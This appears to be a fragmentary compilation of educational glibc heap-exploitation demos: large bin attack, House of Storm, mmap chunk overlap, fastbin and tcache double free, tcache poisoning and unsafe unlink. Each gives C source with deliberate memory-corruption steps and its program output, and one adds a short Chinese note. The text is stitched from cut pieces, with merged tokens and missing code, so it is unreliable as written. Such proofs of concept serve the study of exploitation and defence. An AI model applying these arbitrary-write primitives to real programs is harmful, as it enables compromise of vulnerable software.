unsignedlong *p3 = malloc(0x500); fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2); fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with" " the third large chunk during the free()\n\n"); malloc(0x20); free(p1); free(p2); fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90); fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation" ", and reinsert the remaining of the freed first large chunk into the unsorted bin:" " [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3); fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0])); //------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk" " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and" " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
malloc(0x90); fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist." " During this time, targets should have already been rewritten:\n");
This file demonstrates large bin attack by writing a large unsigned long value into stack In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the targets we want to rewrite on stack: stack_var1 (0x7fffffffdd30): 0 stack_var2 (0x7fffffffdd28): 0
Now, we allocate the first large chunk on the heap at: 0x55555555c000 And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()
Then, we allocate the second large chunk on the heap at: 0x55555555c460 And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()
Finally, we allocate the third large chunk on the heap at: 0x55555555c9a0 And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()
We free the first and second large chunks now and they will be inserted in the unsorted bin: [ 0x55555555c460 <--> 0x55555555c000 ]
Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation, and reinsert the remaining of the freed first large chunk into the unsorted bin: [ 0x55555555c0a0 ]
Now, we free the third large chunk and it will be inserted in the unsorted bin: [ 0x55555555c9a0 <--> 0x55555555c0a0 ]
Now emulating a vulnerability that can overwrite the freed second large chunk's "size" as well as its "bk" and "bk_nextsize" pointers Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2
Let's malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten: stack_var1 (0x7fffffffdd30): 0x55555555c9a0 stack_var2 (0x7fffffffdd28): 0x55555555c9a0
house_of_storm(unsorted bin attack + large bin attack)
// Get the AMOUNT to shift over for size and the offset on the largebin. // Needs to be a valid minimum sized chunk in order to work. intget_shift_amount(char* pointer){
int shift_amount = 0; longlong ptr = (longlong)pointer;
puts("House of Storm"); puts("======================================"); puts("Preparing chunks for the exploit"); puts("Put one chunk into unsorted bin and the other into the large bin"); puts("The unsorted bin chunk MUST be larger than the large bin chunk."); /* Putting a chunk into the unsorted bin and another into the large bin. */ unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0
// prevent merging malloc ( 0x18 );
puts("Find the proper chunk size to allocate."); puts("Must be exactly the size of the written chunk from above."); /* Find the proper size to allocate We are using the first 'X' bytes of the heap to act as the 'size' of a chunk. Then, we need to allocate a chunk exactly this size for the attack to work. So, in order to do this, we have to take the higher bits of the heap address and allocate a chunk of this size, which comes from the upper bytes of the heap address. NOTE: - This does have a 1/2 chance of failing. If the 4th bit of this value is set, then the size comparison will fail. - Without this calculation, this COULD be brute forced. */ int shift_amount = get_shift_amount(unsorted_bin); printf("Shift Amount: %d\n", shift_amount);
size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount); if(alloc_size < 0x10){ printf("Chunk Size: 0x%lx\n", alloc_size); puts("Chunk size is too small"); exit(1); } alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits printf("In this case, the chunk size is 0x%lx\n", alloc_size);
// Checks to see if the program will crash or not /* The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first. Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438 validates to see if ONE of the following cases is true: - av == arena_for_chunk (mem2chunk (mem)) - chunk is mmaped If the 'non-main arena' bit is set on the chunk, then the first case will fail. If the mmap bit is set, then this will pass. So, either the arenas need to match up (our fake chunk is in the .bss section for this demo. So, clearly, this will not happen) OR the mmap bit must be set. The logic below validates that the fourth bit of the size is NOT set and that either the mmap bit is set or the non-main arena bit is NOT set. If this is the case, the exploit should work. */ if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){ puts("Allocation size has bit 4 of the size set or "); puts("mmap and non-main arena bit check will fail"); puts("Please try again! :)"); puts("Exiting..."); return1;
// FIFO free ( large_bin ); // put small chunks first free ( unsorted_bin );
// Put the 'large bin' chunk into the large bin unsorted_bin = malloc(0x4e8); free(unsorted_bin);
/* At this point, there is a single chunk in the large bin and a single chunk in the unsorted bin. It should be noted that the unsorted bin chunk should be LARGER in size than the large bin chunk but should still be within the same bin. In this setup, the large_bin has a chunk of size 0x4e0 and the unsorted bin has a chunk of size 0x4f0. This technique relies on the unsorted bin chunk being added to the same bin but a larger chunk size. So, careful heap feng shui must be done. */
// The address that we want to write to! fake_chunk = target - 0x10;
puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator"); /* The address of our fake chunk is set to the unsorted bin chunks 'bk' pointer. This launches the 'unsorted_bin' attack but it is NOT the main purpose of us doing this. After launching the 'unsorted_bin attack' the 'victim' pointer will be set to THIS address. Our goal is to find a way to get this address from the allocator. Vulnerability!! */ ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
// Only needs to be a valid address. (( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->fd
puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location"); puts("of your fake chunk."); puts("Misalign the location in order to use the primitive as a SIZE value."); puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2)."); puts("Vulnerability #2!"); puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at."); /* This can be seen as a WRITE-WHERE primitive in the large bin. However, we are going to write a 'size' for our fake chunk using this. So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579 to an address for our fake size. The write above (bk_nextsize) is controlled via the pointer we are going to overwrite below. The value that gets written is a heap address; the unsorted bin chunk address above. The 'key' to this is the offset. First, we subtract 0x18 because this is the offset to writting to fd_nextsize in the code shown above. Secondly, notice the -2 below. We are going to write a 'heap address' at a mis-aligned location and use THIS as the size. For instance, if the heap address is 0x123456 and the pointer is set to 0x60006. This will write the following way: - 0x60006: 0x56 - 0x60007: 0x34 - 0x60008: 0x12 Now, our 'fake size' is at 0x60008 and is a valid size for the fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk from the allocator. Second vulnerability!!! */ (( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize
/* At this point, we've corrupted everything in just the right way so this should work. The purpose of the attack is to have a corrupted 'bk' pointer point to ANYWHERE we want and still get the memory back. We do this by using the large bin code to write a size to the 'bk' location. This call to malloc (if you're lucky), will return a pointer to the fake chunk that we created above. */
puts("Make allocation of the size that the value will be written for."); puts("Once the allocation happens, the madness begins"); puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to "); puts("write a fake 'size' value to the location of our target."); puts("After this, the target will have a valid size."); puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid"); puts("size and remove it from the bin."); puts("With this, we have pulled out an arbitrary chunk!");
几乎等于unsorted bin attack + large bin attack。调试的时候关掉aslr和pie,不然的话会失败。即然都说了unsortedbin和large bin,所以先创建unsorted bin大小为0x4e0,检查该chunk的地址最高非0位的值x,判断x是否小于0x10,小于0则失败。注意这里的bin用unsorted bin和large bin来表示就不再用正常的bin和释放之后对应的bin。
House of Storm ====================================== Preparing chunks for the exploit Put one chunk into unsorted bin and the other into the large bin The unsorted bin chunk MUST be larger than the large bin chunk. Find the proper chunk size to allocate. Must be exactly the size of the written chunk from above. Shift Amount: 2 In this case, the chunk size is 0x30 Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location. This is our target location to get from the allocator Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location of your fake chunk. Misalign the location in order to use the primitive as a SIZE value. The 'offset' changes depending on if the binary is PIE (5) or not PIE (2). Vulnerability #2! Overwrite large bins bk->nextsize with the address to put our fake chunk size at. Make allocation of the size that the value will be written for. Once the allocation happens, the madness begins Once in the unsorted bin, the 'large bin' chunk will be used in orer to write a fake 'size' value to the location of our target. After this, the target will have a valid size. Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid size and remove it from the bin. With this, we have pulled out an arbitrary chunk! String before: String pointer: 0x4040a0 String after ABCDEFG Fake chunk ptr: 0x4040a0
/* Technique should work on all versions of GLibC Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g` POC written by POC written by Maxwell Dulin (Strikeout) */ intmain(){
int* ptr1 = malloc(0x10);
printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n"); printf("Extremely large chunks are special because they are allocated in their own mmaped section\n"); printf("of memory, instead of being put onto the normal heap.\n"); puts("=======================================================\n"); printf("Allocating three extremely large heap chunks of size 0x100000 \n\n"); longlong* top_ptr = malloc(0x100000); printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
// After this, all chunks are allocated downwards in memory towards the heap. longlong* mmap_chunk_2 = malloc(0x100000); printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
longlong* mmap_chunk_3 = malloc(0x100000); printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);
printf("\nCurrent System Memory Layout \n" \ "================================================\n" \ "running program\n" \ "heap\n" \ "....\n" \ "third mmap chunk\n" \ "second mmap chunk\n" \ "LibC\n" \ "....\n" \ "ld\n" \ "first mmap chunk\n" "===============================================\n\n" \ ); printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]); printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);
printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n"); printf("This will cause both chunks to be Munmapped and given back to the system\n"); printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below. // Additionally, this same attack can be used with the prev_size instead of the size. mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]); printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
free(mmap_chunk_3);
printf("Get a very large chunk from malloc to get mmapped chunk\n"); printf("This should overlap over the previously munmapped/freed chunks\n"); longlong* overlapping_chunk = malloc(0x300000); printf("Overlapped chunk Ptr: %p\n", overlapping_chunk); printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);
// Gets the distance between the two pointers. int distance = mmap_chunk_2 - overlapping_chunk; printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance); printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]); // Set the value of the overlapped chunk. printf("Setting the value of the overlapped chunk\n"); overlapping_chunk[distance] = 0x1122334455667788;
// Show that the pointer has been written to. printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]); printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]); printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n"); assert(mmap_chunk_2[0] == overlapping_chunk[distance]); }
The first mmap chunk goes directly above LibC: 0x7ffff7ef2010 The second mmap chunk goes below LibC: 0x7ffff790c010 The third mmap chunk goes below the second mmap chunk: 0x7ffff780b010
This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks). Extremely large chunks are special because they are allocated in their own mmaped section of memory, instead of being put onto the normal heap. =======================================================
Allocating three extremely large heap chunks of size 0x100000
The first mmap chunk goes directly above LibC: 0x7f34ffb39010 The second mmap chunk goes below LibC: 0x7f34ff54d010 The third mmap chunk goes below the second mmap chunk: 0x7f34ff44c010
Current System Memory Layout ================================================ running program heap .... third mmap chunk second mmap chunk LibC .... ld first mmap chunk ===============================================
Prev Size of third mmap chunk: 0x0 Size of third mmap chunk: 0x101002
Change the size of the third mmap chunk to overlap with the second mmap chunk This will cause both chunks to be Munmapped and given back to the system This is where the vulnerability occurs; corrupting the size or prev_size of a chunk New size of third mmap chunk: 0x202002 Free the third mmap chunk, which munmaps the second and third chunks
Get a very large chunk from malloc to get mmapped chunk This should overlap over the previously munmapped/freed chunks Overlapped chunk Ptr: 0x7f34ff34d010 Overlapped chunk Ptr Size: 0x301002 Distance between new chunk and the second mmap chunk (which was munmapped): 0x40000 Value of index 0 of mmap chunk 2 prior to write: 0 Setting the value of the overlapped chunk Second chunk value (after write): 0x1122334455667788 Overlapped chunk value: 0x1122334455667788
Boom! The new chunk has been overlapped with a previous mmaped chunk
printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); a = calloc(1, 8); b = calloc(1, 8); c = calloc(1, 8); printf("1st calloc(1, 8): %p\n", a); printf("2nd calloc(1, 8): %p\n", b); printf("3rd calloc(1, 8): %p\n", c);
This file demonstrates a simple double-free attack with fastbins. Fill up tcache first. Allocating 3 buffers. 1st calloc(1, 8): 0x55555555b360 2nd calloc(1, 8): 0x55555555b380 3rd calloc(1, 8): 0x55555555b3a0 Freeing the first one... If we free 0x55555555b360 again, things will crash because 0x55555555b360 is at the top of the free list. So, instead, we'll free 0x55555555b380. Now, we can free 0x55555555b360 again, since it's not the head of the free list. Now the free list has [ 0x55555555b360, 0x55555555b380, 0x55555555b360 ]. If we malloc 3 times, we'll get 0x55555555b360 twice! 1st calloc(1, 8): 0x55555555b360 2nd calloc(1, 8): 0x55555555b380 3rd calloc(1, 8): 0x55555555b360
intmain() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
fprintf(stderr,"Fill up tcache first.\n");
void *ptrs[7];
for (int i=0; i<7; i++) { ptrs[i] = malloc(8); } for (int i=0; i<7; i++) { free(ptrs[i]); }
unsignedlonglong stack_var;
fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = calloc(1,8); int *b = calloc(1,8); int *c = calloc(1,8);
//Calling free(a) twice renders the program vulnerable to Double Free
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsignedlonglong *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d); fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that calloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); /*VULNERABILITY*/ *d = (unsignedlonglong) (((char*)&stack_var) - sizeof(d)); /*VULNERABILITY*/
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
This file extends on fastbin_dup.c by tricking calloc into returning a pointer to a controlled location (in this case, the stack). Fill up tcache first. The address we want calloc() to return is 0x7fffffffdcc0. Allocating 3 buffers. 1st calloc(1,8): 0x55555555b340 2nd calloc(1,8): 0x55555555b360 3rd calloc(1,8): 0x55555555b380 Freeing the first one... If we free 0x55555555b340 again, things will crash because 0x55555555b340 is at the top of the free list. So, instead, we'll free 0x55555555b360. Now, we can free 0x55555555b340 again, since it's not the head of the free list. Now the free list has [ 0x55555555b340, 0x55555555b360, 0x55555555b340 ]. We'll now carry out our attack by modifying data at 0x55555555b340. 1st calloc(1,8): 0x55555555b340 2nd calloc(1,8): 0x55555555b360 Now the free list has [ 0x55555555b340 ]. Now, we have access to 0x55555555b340 while it remains at the head of the free list. so now we are writing a fake free size (in this case, 0x20) to the stack, so that calloc will think there is a free chunk there and agree to return a pointer to it. Now, we overwrite the first 8 bytes of the data at 0x55555555b340 to point right before the 0x20. 3rd calloc(1,8): 0x55555555b340, putting the stack address on the free list 4th calloc(1,8): 0x7fffffffdcc0
printf( "\n" "This attack is intended to have a similar effect to the unsorted_bin_attack,\n" "except it works with a small allocation size (allocsize <= 0x78).\n" "The goal is to set things up so that a call to malloc(allocsize) will write\n" "a large unsigned value to the stack.\n\n" );
// Allocate 14 times so that we can free later. char* ptrs[14]; size_t i; for (i = 0; i < 14; i++) { ptrs[i] = malloc(allocsize); }
printf( "First we need to free(allocsize) at least 7 times to fill the tcache.\n" "(More than 7 times works fine too.)\n\n" );
// Fill the tcache. for (i = 0; i < 7; i++) { free(ptrs[i]); }
char* victim = ptrs[7]; printf( "The next pointer that we free is the chunk that we're going to corrupt: %p\n" "It doesn't matter if we corrupt it now or later. Because the tcache is\n" "already full, it will go in the fastbin.\n\n", victim ); free(victim);
printf( "Next we need to free between 1 and 6 more pointers. These will also go\n" "in the fastbin. If the stack address that we want to overwrite is not zero\n" "then we need to free exactly 6 more pointers, otherwise the attack will\n" "cause a segmentation fault. But if the value on the stack is zero then\n" "a single free is sufficient.\n\n" );
// Fill the fastbin. for (i = 8; i < 14; i++) { free(ptrs[i]); }
// Create an array on the stack and initialize it with garbage. size_t stack_var[6]; memset(stack_var, 0xcd, sizeof(stack_var));
printf( "The stack address that we intend to target: %p\n" "It's current value is %p\n", &stack_var[2], (char*)stack_var[2] );
printf( "Now we use a vulnerability such as a buffer overflow or a use-after-free\n" "to overwrite the next pointer at address %p\n\n", victim );
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim. *(size_t**)victim = &stack_var[0];
//------------------------------------
printf( "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n" );
// Empty tcache. for (i = 0; i < 7; i++) { ptrs[i] = malloc(allocsize); }
printf( "Let's just print the contents of our array on the stack now,\n" "to show that it hasn't been modified yet.\n\n" );
for (i = 0; i < 6; i++) { printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); }
printf( "\n" "The next allocation triggers the stack to be overwritten. The tcache\n" "is empty, but the fastbin isn't, so the next allocation comes from the\n" "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n" "Those 7 chunks are copied in reverse order into the tcache, so the stack\n" "address that we are targeting ends up being the first chunk in the tcache.\n" "It contains a pointer to the next chunk in the list, which is why a heap\n" "pointer is written to the stack.\n" "\n" "Earlier we said that the attack will also work if we free fewer than 6\n" "extra pointers to the fastbin, but only if the value on the stack is zero.\n" "That's because the value on the stack is treated as a next pointer in the\n" "linked list and it will trigger a crash if it isn't a valid pointer or null.\n" "\n" "The contents of our array on the stack now look like this:\n\n" );
malloc(allocsize);
for (i = 0; i < 6; i++) { printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); }
char *q = malloc(allocsize); printf( "\n" "Finally, if we malloc one more time then we get the stack address back: %p\n", q );
This attack is intended to have a similar effect to the unsorted_bin_attack, except it works with a small allocation size (allocsize <= 0x78). The goal is to set things up so that a call to malloc(allocsize) will write a large unsigned value to the stack.
First we need to free(allocsize) at least 7 times to fill the tcache. (More than 7 times works fine too.)
The next pointer that we free is the chunk that we're going to corrupt: 0x55555555b490 It doesn't matter if we corrupt it now or later. Because the tcache is already full, it will go in the fastbin.
Next we need to free between 1 and 6 more pointers. These will also go in the fastbin. If the stack address that we want to overwrite is not zero then we need to free exactly 6 more pointers, otherwise the attack will cause a segmentation fault. But if the value on the stack is zero then a single free is sufficient.
The stack address that we intend to target: 0x7fffffffdc70 It's current value is 0xcdcdcdcdcdcdcdcd Now we use a vulnerability such as a buffer overflow or a use-after-free to overwrite the next pointer at address 0x55555555b490
The next step is to malloc(allocsize) 7 times to empty the tcache.
Let's just print the contents of our array on the stack now, to show that it hasn't been modified yet.
The next allocation triggers the stack to be overwritten. The tcache is empty, but the fastbin isn't, so the next allocation comes from the fastbin. Also, 7 chunks from the fastbin are used to refill the tcache. Those 7 chunks are copied in reverse order into the tcache, so the stack address that we are targeting ends up being the first chunk in the tcache. It contains a pointer to the next chunk in the list, which is why a heap pointer is written to the stack.
Earlier we said that the attack will also work if we free fewer than 6 extra pointers to the fastbin, but only if the value on the stack is zero. That's because the value on the stack is treated as a next pointer in the linked list and it will trigger a crash if it isn't a valid pointer or null.
The contents of our array on the stack now look like this:
intmain() { /* * This attack should bypass the restriction introduced in * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d * If the libc does not include the restriction, you can simply double free the victim and do a * simple tcache poisoning * And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap setbuf(stdin, NULL); setbuf(stdout, NULL);
// introduction puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); puts("returning a pointer to an arbitrary location (in this demo, the stack)."); puts("This attack only relies on double free.\n");
// prepare the target intptr_t stack_var[4]; puts("The address we want malloc() to return, namely,"); printf("the target address is %p.\n\n", stack_var);
// prepare heap layout puts("Preparing heap layout"); puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); } puts("Allocating a chunk for later consolidation"); intptr_t *prev = malloc(0x100); puts("Allocating the victim chunk."); intptr_t *a = malloc(0x100); printf("malloc(0x100): a=%p.\n", a); puts("Allocating a padding to prevent consolidation.\n"); malloc(0x10); // cause chunk overlapping puts("Now we are able to cause chunk overlapping"); puts("Step 1: fill up tcache list"); for(int i=0; i<7; i++){ free(x[i]); } puts("Step 2: free the victim chunk so it will be added to unsorted bin"); free(a); puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); free(prev); puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); malloc(0x100); /*VULNERABILITY*/ free(a);// a is already freed /*VULNERABILITY*/ // simple tcache poisoning puts("Launch tcache poisoning"); puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk"); intptr_t *b = malloc(0x120); puts("We simply overwrite victim's fwd pointer"); b[0x120/8-2] = (long)stack_var; // take target out puts("Now we can cash out the target chunk."); malloc(0x100); intptr_t *c = malloc(0x100); printf("The new chunk is at %p\n", c); // sanity check assert(c==stack_var); printf("Got control on target/stack!\n\n"); // note puts("Note:"); puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim"); puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
This file demonstrates a powerful tcache poisoning attack by tricking malloc into returning a pointer to an arbitrary location (in this demo, the stack). This attack only relies on double free.
The address we want malloc() to return, namely, the target address is 0x7fffffffdce0.
Preparing heap layout Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later. Allocating a chunk for later consolidation Allocating the victim chunk. malloc(0x100): a=0x55555555bae0. Allocating a padding to prevent consolidation.
Now we are able to cause chunk overlapping Step 1: fill up tcache list Step 2: free the victim chunk so it will be added to unsorted bin Step 3: free the previous chunk and make it consolidate with the victim chunk. Step 4: add the victim chunk to tcache list by taking one out from it and free victim again
Launch tcache poisoning Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk We simply overwrite victim's fwd pointer Now we can cash out the target chunk. The new chunk is at 0x7fffffffdce0 Got control on target/stack!
Note: And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim In that case, once you have done this exploitation, you can have many arbitary writes very easily.
intmain() { setbuf(stdout, NULL); printf("Welcome to unsafe unlink 2.0!\n"); printf("Tested in Ubuntu 18.04.4 64bit.\n"); printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n"); printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string);
Welcome to unsafe unlink 2.0! Tested in Ubuntu 18.04.4 64bit. This technique can be used when you have a pointer at a known location to a region you can call unlink on. The most common scenario is a vulnerable buffer that can be overflown and has a global pointer. The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.
The global chunk0_ptr is at 0x555555558068, pointing to 0x55555555b260 The victim chunk we are going to corrupt is at 0x55555555b690
We create a fake chunk inside chunk0. We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P. We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P. With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False Fake chunk fd: 0x555555558050 Fake chunk bk: 0x555555558058
We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata. We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk. It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x420 We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.
Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr. You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344
At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location. chunk0_ptr is now pointing where we want, we use it to overwrite our victim string. Original value: Hello!~ New Value: BBBBAAAA��UUUU
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n" "The attack is very similar to fastbin corruption attack.\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var; printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Freeing the buffers...\n"); free(a); free(b);
